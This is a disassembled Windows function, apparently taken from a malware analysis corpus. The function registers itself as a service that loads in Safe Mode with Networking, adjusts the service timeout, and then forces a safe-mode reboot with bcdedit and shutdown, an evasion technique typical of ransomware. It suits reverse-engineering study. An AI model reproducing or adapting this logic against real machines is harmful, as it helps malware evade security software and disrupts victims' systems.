Function at 0x140004ce0
Capabilities:
Manipulate safe mode programs

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x70
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x8000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rdx, rdi
lea r8, str.___config
movzx ecx, word [rdx]
add rdx, 2
test cx, cx
jne 0x140004d22
sub rdx, 4
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8]
lea rdx, [rdx + 2]
mov word [rdx], ax
lea r8, [r8 + 2]
test ax, ax
jne 0x140004d40
mov rax, rdi
nop word [rax + rax]
movzx ecx, word [rax]
add rax, 2
test cx, cx
jne 0x140004d60
sub rax, 4
movzx ecx, word [rbx]
lea rax, [rax + 2]
mov word [rax], cx
lea rbx, [rbx + 2]
test cx, cx
jne 0x140004d70
mov edx, 0x72135b03
lea rcx, str.advapi32.dll
call fcn.140005c90
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call rax
mov rbx, rax
test rax, rax
jne 0x140004e07
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x572d5d8e
lea rcx, str.user32.dll
cmp eax, 5
jne 0x140004de3
call fcn.140005c90
xor r9d, r9d
lea rdx, str.Error:_Access_denied_
xor r8d, r8d
xor ecx, ecx
call rax
mov rbx, qword [rsp + 0x98]
add rsp, 0x70
pop rdi
ret
call fcn.140005c90
xor r9d, r9d
lea rdx, str.Error:_schScmanager__NULL_
xor r8d, r8d
xor ecx, ecx
call rax
mov rbx, qword [rsp + 0x98]
add rsp, 0x70
pop rdi
ret
mov edx, 0x2d53694c
mov qword [rsp + 0x90], rsi
lea rcx, str.advapi32.dll
call fcn.140005c90
xor esi, esi
lea r8, str.shmokoshmoko
mov qword [rsp + 0x60], rsi
lea rdx, str.nokonoko
mov qword [rsp + 0x58], rsi
mov r9d, 0xf01ff
mov qword [rsp + 0x50], rsi
mov rcx, rbx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
call rax
test rax, rax
jne 0x140004ec3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x572d5d8e
lea rcx, str.user32.dll
cmp eax, 5
jne 0x140004ea8
call fcn.140005c90
xor r9d, r9d
lea rdx, str.Error:_Access_denied_
xor r8d, r8d
xor ecx, ecx
call rax
jmp 0x1400050e0
call fcn.140005c90
xor r9d, r9d
lea rdx, str.Error:_schService__NULL_
xor r8d, r8d
xor ecx, ecx
call rax
jmp 0x1400050e0
mov edx, 0xa001d6c9
mov qword [rsp + 0x88], rsi
lea rcx, str.advapi32.dll
call fcn.140005c90
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x38], rcx
lea rdx, str.SYSTEMCurrentControlSetControlSafeBootNetwork_nokonoko
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call rax
test eax, eax
je 0x140004f40
mov edx, 0x572d5d8e
lea rcx, str.user32.dll
call fcn.140005c90
xor r9d, r9d
lea rdx, str.Error_while_creating_key_
xor r8d, r8d
xor ecx, ecx
call rax
jmp 0x1400050e0
mov rbx, qword [rsp + 0x88]
lea rcx, str.advapi32.dll
mov edx, 0xc2140c79
call fcn.140005c90
xor edx, edx
mov dword [rsp + 0x20], 8
lea r9, str.Service
mov rcx, rbx
lea r8d, [rdx + 1]
call rax
test eax, eax
jne 0x140005042
mov edx, 0xa001d6c9
lea rcx, str.advapi32.dll
call fcn.140005c90
mov qword [rsp + 0x40], rsi
lea rdx, [rsp + 0x88]
mov qword [rsp + 0x38], rdx
xor r9d, r9d
mov qword [rsp + 0x30], rsi
lea rdx, str.SYSTEMCurrentControlSetControl
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call rax
test eax, eax
je 0x140004ff0
mov edx, 0x572d5d8e
lea rcx, str.user32.dll
call fcn.140005c90
xor r9d, r9d
lea rdx, str.Error_while_opening_key_
xor r8d, r8d
xor ecx, ecx
call rax
jmp 0x1400050e0
mov rbx, qword [rsp + 0x88]
lea rcx, str.advapi32.dll
mov edx, 0xbbd91ec8
mov dword [rsp + 0x80], 0x5265c00
call fcn.140005c90
lea rcx, [rsp + 0x80]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rcx
lea rdx, str.ServicesPipeTimeout
mov rcx, rbx
mov r9d, 4
xor r8d, r8d
call rax
test eax, eax
je 0x140005066
mov edx, 0x572d5d8e
lea rcx, str.user32.dll
call fcn.140005c90
xor r9d, r9d
lea rdx, str.Error_while_setting_default_value_for_key_
xor r8d, r8d
xor ecx, ecx
call rax
jmp 0x1400050e0
mov edx, 0x1fa8a1d9
lea rcx, str.shell32.dll
call fcn.140005c90
lea r9, str._set_default_safeboot_network
mov dword [rsp + 0x28], esi
lea r8, str.bcdedit
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call rax
mov edx, 0x1fa8a1d9
lea rcx, str.shell32.dll
call fcn.140005c90
lea r9, [0x1400069dc]
mov dword [rsp + 0x28], esi
lea r8, str.shutdown
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
add rsp, 0x70
pop rdi
ret